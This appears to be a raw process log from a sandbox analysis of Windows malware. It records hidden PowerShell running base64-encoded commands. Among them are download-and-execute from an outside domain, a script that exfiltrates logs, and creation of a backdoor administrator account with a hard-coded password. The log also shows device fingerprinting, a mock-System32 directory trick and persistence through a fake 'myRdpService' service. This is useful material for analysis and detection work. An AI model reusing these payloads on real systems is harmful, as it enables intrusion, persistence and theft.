Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpAC	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDE80.tmp" "c:\Users\user\AppData\Local\Temp\5xymyn2p\CSCE1E74815576744ED8350991F7490E7AE.TMP"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\Meeting-Registration-Form.docx.docx" /o ""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net start "myRdpService"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
